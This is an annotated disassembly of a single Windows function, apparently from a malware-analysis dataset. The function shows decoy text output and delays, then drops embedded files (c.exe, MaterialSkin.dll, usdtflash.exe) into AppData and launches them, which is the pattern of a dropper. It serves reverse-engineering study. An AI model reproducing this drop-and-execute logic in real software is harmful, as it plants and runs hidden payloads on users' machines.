Function at 0x404f10
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10a7840]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x401d30
push str.Hello_World_
push 0x10a87f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.You_will_improve_your_reading_comprehension_and_develop_your_vocabulary_on_a_diverse_range_of_international_events__celebrations_and_topics._Each_article_has_interactive_exercises_to_help_you_understand_and_use_the_language
push 0x10a87f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_the_base_address_in_the_specified_process_from_which_to_read._Before_any_data_transfer_occurs__the_system_verifies_that_all_data_in_the_base_address_and_memory_of_the_specified_size_is_accessible_for_read_access__and_if_it_is_not_accessible_the_function_fails.
push 0x10a87f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x401d30
push str.A_pointer_to_a_variable_that_receives_the_number_of_bytes_transferred_into_the_specified_buffer._If_lpNumberOfBytesRead_is_NULL__the_parameter_is_ignored.
push 0x10a87f0
call fcn.00401170
add esp, 8
mov ecx, eax
call fcn.00402db0
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jl 0x40519c
push str.c.exe
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0x2c4]
call fcn.004021a0
push eax
lea edx, [ebp - 0x23c]
push edx
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2c4]
call fcn.00402a50
nop
push str.MaterialSkin.dll
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.004021a0
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2dc]
call fcn.00402a50
nop
push str.usdtflash.exe
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x2f4]
call fcn.004021a0
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00401460
add esp, 0xc
lea ecx, [ebp - 0x2f4]
call fcn.00402a50
nop
push 0x36200
push 0xaedc00
lea ecx, [ebp - 0x23c]
push ecx
call fcn.00403220
add esp, 0xc
push 0x66e200
push section..data
lea edx, [ebp - 0x254]
push edx
call fcn.00403220
add esp, 0xc
push 0xfe00
push 0xa96200
lea eax, [ebp - 0x224]
push eax
call fcn.00403220
add esp, 0xc
mov dword [ebp - 0x298], 0x44
push 0x40
push 0
lea ecx, [ebp - 0x294]
push ecx
call fcn.004086d0
add esp, 0xc
lea edx, [ebp - 0x2a8]
push edx
lea eax, [ebp - 0x298]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x23c]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405112
mov ecx, dword [ebp - 0x2a8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x2a4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
push 0x2328
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
lea eax, [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x298]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x224]
call fcn.00404290
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40516b
mov edx, dword [ebp - 0x2a8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x2ac], 0
lea ecx, [ebp - 0x224]
call fcn.00402a50
lea ecx, [ebp - 0x254]
call fcn.00402a50
lea ecx, [ebp - 0x23c]
call fcn.00402a50
mov eax, dword [ebp - 0x2ac]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407462
mov esp, ebp
pop ebp
ret 0x10